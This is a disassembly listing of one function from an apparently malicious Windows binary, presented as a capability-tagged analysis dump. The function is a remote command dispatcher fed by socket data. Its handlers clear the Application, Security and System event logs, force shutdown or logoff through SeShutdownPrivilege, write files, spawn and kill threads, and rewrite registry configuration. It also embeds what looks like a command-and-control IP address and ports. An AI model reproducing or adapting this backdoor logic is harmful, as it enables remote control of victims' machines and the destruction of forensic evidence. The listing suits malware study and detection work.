Function at 0x14000d9b0
Capabilities:
Access the windows event log
Clear windows event logs
Query or enumerate registry value
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
push r13
push r14
lea rbp, [rsp - 0x520]
sub rsp, 0x620
cmp byte [rdx], 0xc9
mov r14, rdx
mov edi, r8d
mov r13, rcx
jne 0x14000da8c
mov ecx, 0x21c
call fcn.14001def8
xor edx, edx
mov r8d, 0x21b
mov rbx, rax
lea rcx, [rax + 1]
call fcn.14003d990
lea rcx, [rbp + 0x558]
mov byte [rbx], 5
mov dword [rbp + 0x558], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
sub ecx, dword [rbp + 0x55c]
mul ecx
mov eax, 0x88888889
lea rcx, [rbx + 0x1fc]
shr edx, 6
mul edx
shr edx, 5
mov r8d, edx
lea rdx, [0x14004b5f8]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rbx + 8]
lea rcx, [rbx + 4]
call fcn.1400080c0
test al, al
je 0x14000ef4a
cmp dword [r13 + 0x10], 0
jne 0x14000ef4a
mov rcx, qword [r13 + 8]
mov r8d, 0x21c
mov rdx, rbx
mov rax, qword [rcx]
add rsp, 0x620
pop r14
pop r13
pop rdi
pop rbx
pop rbp
jmp qword [rax + reloc.WS2_32.dll_recv]
mov qword [rsp + 0x650], rsi
lea rbx, [rcx + 0x43c]
xor esi, esi
cmp dword [rbx], esi
jne 0x14000db1d
lea rax, [rsp + 0x48]
mov dword [rbp + 0x568], 3
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x558], esi
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000db10
mov rcx, qword [rsp + 0x48]
lea rax, [rbp + 0x558]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x568]
xor r8d, r8d
mov qword [rsp + 0x20], rsi
lea rdx, str.IpDatespecial
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rbx, [r13 + 0x43c]
cmp dword [rbp + 0x558], 1
ja case.default.0x14000db4d
movzx eax, byte [r14]
cmp eax, 0xca
ja case.default.0x14000db4d
lea rdx, [0x140000000]
mov qword [rsp + 0x610], r15
movzx eax, byte [rdx + rax + 0xefc8]
mov ecx, dword [rdx + rax*4 + 0xef60]
add rcx, rdx
jmp rcx
cmp edi, 0x182
jb case.0x14000db4d.20
cmp byte [0x14005e72c], sil
jne 0x14000db80
lea r8, [r14 + 2]
mov edx, 0x40
lea rcx, [0x14005f500]
call fcn.140028980
mov byte [0x14005e72c], 1
cmp dword [r13 + 0x444], esi
jne case.0x14000db4d.20
mov eax, 1
mov rcx, r13
xchg dword [r13 + 0x444], eax
call fcn.14000f350
mov byte [rbp + 0x558], 0xcb
jmp 0x14000e202
cmp edi, 0xac5
jne case.0x14000db4d.20
mov ecx, 0xac4
call fcn.14001def8
xor edx, edx
mov r8d, 0xac4
mov rcx, rax
mov r15, rax
call fcn.14003d990
mov rcx, r15
lea rdx, [r14 + 1]
mov r8d, 0xac4
call fcn.14003d2f0
cmp dword [r13 + 0x448], esi
jne 0x14000dc06
lea r8, [r15 + 4]
lea rdx, str._s_bin
lea rcx, [r15 + 4]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rbx, qword [r13 + 0x450]
mov rax, qword [r13 + 0x458]
cmp rbx, rax
je 0x14000dc56
nop dword [rax]
mov r11, qword [rbx]
lea r9, [r15 + 4]
mov r10, qword [r11 + 0x18]
lea rcx, [r10 + 4]
sub r9, rcx
movzx r8d, word [rcx]
movzx edx, word [rcx + r9]
sub r8d, edx
jne 0x14000dc48
add rcx, 2
test edx, edx
jne 0x14000dc32
test r8d, r8d
je 0x14000dcbc
add rbx, 8
cmp rbx, rax
jne 0x14000dc20
mov ecx, 0xac5
call fcn.14001df34
mov rdx, r15
mov r8d, 0xac4
mov rbx, rax
mov byte [rax], 0xa
lea rcx, [rax + 1]
mov dword [r15 + 0x204], 1
call fcn.14003d2f0
cmp dword [r13 + 0x10], esi
jne 0x14000dc9d
mov rcx, qword [r13 + 8]
mov r8d, 0xac5
mov rdx, rbx
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
mov edx, 0xac4
mov rcx, r15
call fcn.14001dec4
mov edx, 1
mov rcx, rbx
call fcn.14001dec4
jmp case.0x14000db4d.20
lea rcx, [r15 + 0x20c]
lea rax, [r10 + 0x20c]
sub rcx, rax
nop dword [rax]
movzx r8d, word [rax]
movzx edx, word [rax + rcx]
sub r8d, edx
jne 0x14000dce5
add rax, 2
test edx, edx
jne 0x14000dcd0
test r8d, r8d
je 0x14000dd53
test r10, r10
je 0x14000dd03
mov edx, 0xac4
mov rcx, r10
call fcn.14001dec4
mov rax, qword [rbx]
mov qword [rax + 0x18], rsi
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
test rcx, rcx
je 0x14000dd1b
call fcn.14001dec4
mov rax, qword [rbx]
mov qword [rax + 0x20], rsi
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000dd30
mov edx, 0xb0
call fcn.14001dec4
mov qword [rbx], rsi
mov r8, qword [r13 + 0x458]
lea rdx, [rbx + 8]
sub r8, rdx
mov rcx, rbx
call fcn.14003d2f0
add qword [r13 + 0x458], 0xfffffffffffffff8
jmp 0x14000dc56
lea r8, [r15 + 0xa44]
mov edx, 0x40
lea rcx, [r11 + 0x2c]
call fcn.140028980
mov r9, qword [rbx]
lea r8, [0x14000cd40]
xor edx, edx
mov qword [rsp + 0x28], rsi
xor ecx, ecx
mov dword [rsp + 0x20], esi
call fcn.140028b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0xac4
mov rcx, r15
call fcn.14001dec4
jmp case.0x14000db4d.20
mov ecx, 0xac4
call fcn.14001def8
xor edx, edx
mov r8d, 0xac4
mov rcx, rax
mov rdi, rax
call fcn.14003d990
mov rcx, rdi
lea rdx, [r14 + 1]
mov r8d, 0xac4
call fcn.14003d2f0
movsxd rcx, dword [rdi + 0x208]
call fcn.14001df34
movsxd r8, dword [rdi + 0x208]
lea rdx, [r14 + 0xac5]
mov rcx, rax
mov rbx, rax
call fcn.14003d2f0
mov ecx, 0xb0
call fcn.14001def8
lea rcx, [r13 + 0x28]
mov qword [rbp + 0x558], rax
lea r8, [rdi + 0xa44]
mov edx, 0x40
mov r14, rax
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], rbx
mov qword [rax + 8], rcx
mov ecx, dword [r13 + 0x438]
mov dword [rax + 0x10], ecx
mov ecx, dword [r13 + 0x440]
mov dword [rax + 0x14], ecx
mov ecx, dword [r13 + 0x448]
mov dword [rax + 0x28], ecx
lea rcx, [rax + 0x2c]
mov qword [rax], r13
call fcn.140028980
lea rcx, [r13 + 0x450]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x14000de75
mov qword [rdx], r14
lea r8, [0x14000cd40]
add qword [rcx + 8], 8
mov r9, r14
jmp 0x14000ee44
lea r8, [rbp + 0x558]
call fcn.14000a4c0
mov r9, r14
lea r8, [0x14000cd40]
jmp 0x14000ee44
mov dword [rsp + 0x38], esi
lea r9, [rbp + 0x568]
mov dword [rsp + 0x30], esi
lea r8, [rsp + 0x40]
mov byte [rsp + 0x28], sil
lea rdx, [rbp + 0x558]
mov byte [rsp + 0x20], sil
mov dword [rbp + 0x558], esi
mov dword [rsp + 0x40], esi
mov dword [rbp + 0x568], esi
call fcn.14000fc50
movsxd rsi, dword [rbp + 0x558]
mov rdi, rax
test esi, esi
jne 0x14000df2c
mov ebx, 0x200
mov ecx, ebx
call fcn.14001def8
xor edx, edx
mov r8d, 0x1ff
mov rdi, rax
lea rcx, [rax + 1]
call fcn.14003d990
lea rax, [0x14004add4]
mov byte [rdi], 6
lea rcx, [rdi + 2]
mov qword [rsp + 0x20], rax
lea r9, [0x14004bc18]
mov edx, 0xff
lea r8, str._s__s_n
call fcn.140003670
cmp dword [r13 + 0x10], esi
jmp 0x14000e5bc
lea r14d, [rsi + 1]
movsxd rcx, r14d
call fcn.14001df34
mov r8, rsi
mov rdx, rdi
mov rbx, rax
lea rcx, [rax + 1]
mov byte [rax], 8
call fcn.14003d2f0
cmp dword [r13 + 0x10], 0
jne 0x14000df65
mov rcx, qword [r13 + 8]
mov r8d, r14d
mov rdx, rbx
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
test rdi, rdi
je 0x14000df72
mov rcx, rdi
call fcn.14001dec4
mov rcx, rbx
call fcn.14001dec4
jmp case.0x14000db4d.20
mov rax, r14
lea rcx, [rsp + 0x60]
mov edx, 5
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14000df90
movups xmm0, xmmword [rax]
mov r8d, 0x2d0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
mov rax, qword [rax + 0x50]
movups xmmword [rcx + 0x30], xmm1
movups xmmword [rcx + 0x40], xmm0
mov qword [rcx + 0x50], rax
lea rcx, [rbp + 0x240]
call fcn.14003d990
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0x170]
mov dword [rsp + 0x28], esi
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je case.0x14000db4d.20
lea r8d, [rdi - 0x2d8]
mov qword [rsp + 0x20], rsi
lea rdx, [r14 + 0x2d8]
mov rcx, rax
lea r9, [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je case.0x14000db4d.20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x240]
test eax, eax
je 0x14000e0c1
lea r9, [rsp + 0x68]
lea r8, [rbp + 0x170]
lea rdx, [0x14004bf08]
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x14000e0ce
lea rdx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x64]
test eax, eax
je 0x14000e0f3
cmp eax, 1
jne case.0x14000db4d.20
xor r8d, r8d
lea rdx, [rbp + 0x240]
call fcn.140010560
jmp case.0x14000db4d.20
mov r8d, 5
lea rdx, [rbp + 0x240]
call fcn.140010560
jmp case.0x14000db4d.20
lea rax, [rbp + 0x558]
mov dword [rbp + 0x558], esi
mov qword [rsp + 0x28], rax
lea r9, [r14 + 1]
lea r8, [0x140010b60]
jmp 0x14000ee49
mov rcx, qword [0x14005f580]
mov dword [rsp + 0x40], esi
test rcx, rcx
je 0x14000e149
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x14005f580], rsi
lea rax, [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r9, [r14 + 1]
lea r8, [0x140010f30]
mov dword [rsp + 0x20], esi
xor ecx, ecx
call fcn.140028b20
mov qword [0x14005f580], rax
jmp case.0x14000db4d.20
mov rcx, qword [0x14005f580]
test rcx, rcx
je case.0x14000db4d.20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [0x14005f580]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x14005f580], rsi
jmp case.0x14000db4d.20
movzx ecx, byte [r14 + 1]
test ecx, ecx
je 0x14000e1d2
cmp ecx, 1
jne case.0x14000db4d.20
lea r8, [r14 + 2]
mov rcx, r13
lea rdx, str.VenREMARK
call fcn.140010a80
jmp case.0x14000db4d.20
lea r8, [r14 + 2]
mov rcx, r13
lea rdx, str.VenGROUP
call fcn.140010a80
jmp case.0x14000db4d.20
lea rdx, [r14 + 1]
mov rcx, r13
call fcn.14000f0a0
jmp case.0x14000db4d.20
mov byte [rbp + 0x558], 0x1a
cmp dword [r13 + 0x10], esi
jne case.0x14000db4d.20
mov rcx, qword [r13 + 8]
lea rdx, [rbp + 0x558]
mov r8d, 1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
jmp case.0x14000db4d.20
mov eax, dword [r14 + 5]
lea r9, [rbp + 0x568]
mov ecx, dword [r14 + 1]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x38], eax
lea rdx, [rbp + 0x558]
mov dword [rsp + 0x30], ecx
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], sil
mov dword [rbp + 0x558], esi
mov dword [rsp + 0x40], esi
mov dword [rbp + 0x568], esi
call fcn.14000fc50
movsxd rbx, dword [rbp + 0x558]
mov rsi, rax
lea r14d, [rbx + 5]
movsxd rcx, r14d
call fcn.14001df34
mov r8, rbx
mov rdx, rsi
mov rdi, rax
lea rcx, [rax + 5]
mov byte [rax], 0x1a
mov dword [rax + 1], ebx
call fcn.14003d2f0
cmp dword [r13 + 0x10], 0
jne 0x14000e2b0
mov rcx, qword [r13 + 8]
mov r8d, r14d
mov rdx, rdi
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
test rsi, rsi
je 0x14000e2bd
mov rcx, rsi
call fcn.14001dec4
mov rcx, rdi
call fcn.14001dec4
jmp case.0x14000db4d.20
lea rax, str.Application
mov qword [rsp + 0x48], rax
lea rax, str.Security
mov qword [rsp + 0x50], rax
lea rax, str.System
mov qword [rsp + 0x58], rax
nop
mov rdx, qword [rsp + rsi*8 + 0x48]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEventLogW]
mov rbx, rax
test rax, rax
je 0x14000e319
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ClearEventLogW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc rsi
cmp rsi, 3
jl 0x14000e2f0
jmp case.0x14000db4d.20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x558]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000e3aa
lea r8, [rsp + 0x4c]
mov dword [rsp + 0x48], 1
lea rdx, str.SeShutdownPrivilege
mov dword [rsp + 0x54], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rbp + 0x558]
lea r8, [rsp + 0x48]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], rsi
xor edx, edx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 4
jmp 0x14000e4b4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x558]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000e42e
lea r8, [rsp + 0x4c]
mov dword [rsp + 0x48], 1
lea rdx, str.SeShutdownPrivilege
mov dword [rsp + 0x54], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rbp + 0x558]
lea r8, [rsp + 0x48]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], rsi
xor edx, edx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 6
jmp 0x14000e4b4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x558]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000e4af
lea r8, [rsp + 0x4c]
mov dword [rsp + 0x48], 1
lea rdx, str.SeShutdownPrivilege
mov dword [rsp + 0x54], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rbp + 0x558]
lea r8, [rsp + 0x48]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], rsi
xor edx, edx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 5
xor edx, edx
call qword [sym.imp.USER32.dll_ExitWindowsEx]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x558]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je case.0x14000db4d.20
lea r8, [rsp + 0x4c]
mov dword [rsp + 0x48], 1
lea rdx, str.SeShutdownPrivilege
mov dword [rsp + 0x54], esi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rbp + 0x558]
lea r8, [rsp + 0x48]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], rsi
xor edx, edx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x558]
test eax, eax
je 0x14000ee59
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x14000db4d.20
mov ebx, 0x200
mov ecx, ebx
cmp dword [r13 + 0x448], esi
je 0x14000e57c
mov dword [r13 + 0x448], esi
call fcn.14001def8
xor edx, edx
mov r8d, 0x1ff
mov rdi, rax
lea rcx, [rax + 1]
call fcn.14003d990
lea r8, [0x14004bc90]
jmp 0x14000e5a7
mov dword [r13 + 0x448], 1
call fcn.14001def8
xor edx, edx
mov r8d, 0x1ff
mov rdi, rax
lea rcx, [rax + 1]
call fcn.14003d990
lea r8, [0x14004bcb0]
mov edx, 0xff
mov byte [rdi], 6
lea rcx, [rdi + 2]
call fcn.140028980
cmp dword [r13 + 0x10], esi
jne 0x14000e5ce
mov rcx, qword [r13 + 8]
mov r8d, ebx
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rdx, rbx
mov rcx, rdi
call fcn.14001dec4
jmp case.0x14000db4d.20
mov ecx, 0x7d2
call fcn.14001def8
mov r8, rdi
mov rdx, r14
mov rcx, rax
mov r15, rax
call fcn.14003d2f0
lea rax, [rbp + 0x558]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp + 0x558]
lea rdx, str.Vendata
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp + 0x558]
lea eax, [rdi - 1]
mov dword [rsp + 0x28], eax
lea rdi, [r15 + 2]
mov r9d, 3
mov qword [rsp + 0x20], rdi
xor r8d, r8d
lea rdx, str.Vendata
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, 0x200
mov ecx, ebx
test eax, eax
je 0x14000e6d2
call fcn.14001def8
xor edx, edx
mov r8d, 0x1ff
mov rdi, rax
lea rcx, [rax + 1]
call fcn.14003d990
lea rcx, [rdi + 2]
mov byte [rdi], 6
lea r8, [0x14004bce0]
mov edx, 0xff
call fcn.140028980
cmp dword [r13 + 0x10], esi
jne 0x14000e6b5
mov rcx, qword [r13 + 8]
mov r8d, ebx
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rdx, rbx
mov rcx, rdi
call fcn.14001dec4
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x14000db4d.20
mov qword [rsp + 0x618], r12
call fcn.14001def8
xor edx, edx
mov r8d, 0x1ff
mov r14, rax
lea rcx, [rax + 1]
call fcn.14003d990
lea rcx, [r14 + 2]
mov byte [r14], 6
lea r8, [0x14004bcf8]
mov edx, 0xff
call fcn.140028980
cmp dword [r13 + 0x10], esi
jne 0x14000e722
mov rcx, qword [r13 + 8]
mov r8d, ebx
mov rdx, r14
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rdx, rbx
mov rcx, r14
call fcn.14001dec4
lea rcx, [0x14005a8fe]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
lea rcx, [0x14005a8fe]
lea eax, [rax*2 + 2]
movsxd r8, eax
call fcn.14003d990
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r12, [0x14004bbc0]
movsxd rbx, eax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r14, eax
mov r8d, esi
mov r10, rbx
test ebx, ebx
jle 0x14000e7f8
mov rcx, rsi
mov r9d, esi
mov rdx, rsi
test r14d, r14d
jle 0x14000e7a7
lea rbx, [rdi + rcx*2]
movzx eax, word [r12 + rdx*2]
cmp word [rbx + rdx*2], ax
jne 0x14000e7a7
inc r9d
inc rdx
cmp rdx, r14
jl 0x14000e791
cmp r9d, r14d
jne 0x14000e7d2
add r8d, r14d
add rcx, r14
movsxd rax, r8d
cmp rcx, r10
jge 0x14000e7d2
nop word [rax + rax]
cmp word [rdi + rcx*2], 0x7c
je 0x14000e7df
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000e7c0
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000e782
jmp 0x14000e7f8
sub r8d, eax
lea rdx, [rdi + rax*2]
add r8d, r8d
lea rcx, [0x14005a8fe]
movsxd r8, r8d
call fcn.14003d2f0
lea rcx, str.4433
lea rdi, [r15 + 2]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
lea rcx, str.4433
lea eax, [rax*2 + 2]
movsxd r8, eax
call fcn.14003d990
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r12, [0x14004bbc8]
movsxd rbx, eax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r14, eax
mov r8d, esi
mov r10, rbx
test ebx, ebx
jle 0x14000e8c8
mov rcx, rsi
nop dword [rax]
mov r9d, esi
mov rdx, rsi
test r14d, r14d
jle 0x14000e876
lea rbx, [rdi + rcx*2]
nop
movzx eax, word [r12 + rdx*2]
cmp word [rbx + rdx*2], ax
jne 0x14000e876
inc r9d
inc rdx
cmp rdx, r14
jl 0x14000e860
cmp r9d, r14d
jne 0x14000e8a2
add r8d, r14d
add rcx, r14
movsxd rax, r8d
cmp rcx, r10
jge 0x14000e8a2
nop dword [rax]
cmp word [rdi + rcx*2], 0x7c
je 0x14000e8af
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000e890
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000e850
jmp 0x14000e8c8
sub r8d, eax
lea rdx, [rdi + rax*2]
add r8d, r8d
lea rcx, str.4433
movsxd r8, r8d
call fcn.14003d2f0
lea rdi, [r15 + 2]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r12, [0x14004bbd0]
movsxd rbx, eax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r14, eax
mov r8d, esi
mov r10, rbx
test ebx, ebx
jle 0x14000e96a
mov rcx, rsi
nop dword [rax + rax]
mov r9d, esi
mov rdx, rsi
test r14d, r14d
jle 0x14000e926
lea rbx, [rdi + rcx*2]
nop
movzx eax, word [r12 + rdx*2]
cmp word [rbx + rdx*2], ax
jne 0x14000e926
inc r9d
inc rdx
cmp rdx, r14
jl 0x14000e910
cmp r9d, r14d
jne 0x14000e948
add r8d, r14d
add rcx, r14
cmp rcx, r10
jge 0x14000e948
cmp word [rdi + rcx*2], 0x7c
je 0x14000e955
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000e936
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000e900
jmp 0x14000e96a
movsxd rax, r8d
cmp word [rdi + rax*2 - 2], 0x31
jne 0x14000e96a
mov dword [0x14005ab38], 1
lea rcx, [0x14005ab3c]
lea rdi, [r15 + 2]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
lea rcx, [0x14005ab3c]
lea eax, [rax*2 + 2]
movsxd r8, eax
call fcn.14003d990
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r12, [0x14004bd10]
movsxd rbx, eax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r14, eax
mov r8d, esi
mov r10, rbx
test ebx, ebx
jle 0x14000ea38
mov rcx, rsi
nop
mov r9d, esi
mov rdx, rsi
test r14d, r14d
jle 0x14000e9e6
lea rbx, [rdi + rcx*2]
nop
movzx eax, word [r12 + rdx*2]
cmp word [rbx + rdx*2], ax
jne 0x14000e9e6
inc r9d
inc rdx
cmp rdx, r14
jl 0x14000e9d0
cmp r9d, r14d
jne 0x14000ea12
add r8d, r14d
add rcx, r14
movsxd rax, r8d
cmp rcx, r10
jge 0x14000ea12
nop dword [rax]
cmp word [rdi + rcx*2], 0x7c
je 0x14000ea1f
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000ea00
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000e9c0
jmp 0x14000ea38
sub r8d, eax
lea rdx, [rdi + rax*2]
add r8d, r8d
lea rcx, [0x14005ab3c]
movsxd r8, r8d
call fcn.14003d2f0
lea rcx, str.10443
lea rdi, [r15 + 2]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
lea rcx, str.10443
lea eax, [rax*2 + 2]
movsxd r8, eax
call fcn.14003d990
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r12, [0x14004bd18]
movsxd rbx, eax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r14, eax
mov r8d, esi
mov r10, rbx
test ebx, ebx
jle 0x14000eb08
mov rcx, rsi
nop dword [rax]
mov r9d, esi
mov rdx, rsi
test r14d, r14d
jle 0x14000eab6
lea rbx, [rdi + rcx*2]
nop
movzx eax, word [r12 + rdx*2]
cmp word [rbx + rdx*2], ax
jne 0x14000eab6
inc r9d
inc rdx
cmp rdx, r14
jl 0x14000eaa0
cmp r9d, r14d
jne 0x14000eae2
add r8d, r14d
add rcx, r14
movsxd rax, r8d
cmp rcx, r10
jge 0x14000eae2
nop dword [rax]
cmp word [rdi + rcx*2], 0x7c
je 0x14000eaef
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000ead0
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000ea90
jmp 0x14000eb08
sub r8d, eax
lea rdx, [rdi + rax*2]
add r8d, r8d
lea rcx, str.10443
movsxd r8, r8d
call fcn.14003d2f0
lea rdi, [r15 + 2]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r12, [0x14004bd20]
movsxd rbx, eax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r14, eax
mov r8d, esi
mov r10, rbx
test ebx, ebx
jle 0x14000ebaa
mov rcx, rsi
nop dword [rax + rax]
mov r9d, esi
mov rdx, rsi
test r14d, r14d
jle 0x14000eb66
lea rbx, [rdi + rcx*2]
nop
movzx eax, word [r12 + rdx*2]
cmp word [rbx + rdx*2], ax
jne 0x14000eb66
inc r9d
inc rdx
cmp rdx, r14
jl 0x14000eb50
cmp r9d, r14d
jne 0x14000eb88
add r8d, r14d
add rcx, r14
cmp rcx, r10
jge 0x14000eb88
cmp word [rdi + rcx*2], 0x7c
je 0x14000eb95
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000eb76
inc r8d
inc rcx
cmp rcx, r10
jl 0x14000eb40
jmp 0x14000ebaa
movsxd rax, r8d
cmp word [rdi + rax*2 - 2], 0x31
jne 0x14000ebaa
mov dword [0x14005ad78], 1
lea rcx, str.202.79.173.2
lea rdi, [r15 + 2]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
lea rcx, str.202.79.173.2
lea eax, [rax*2 + 2]
movsxd r8, eax
call fcn.14003d990
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r12, [0x14004bd28]
movsxd rbx, eax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r14, eax
mov r8d, esi
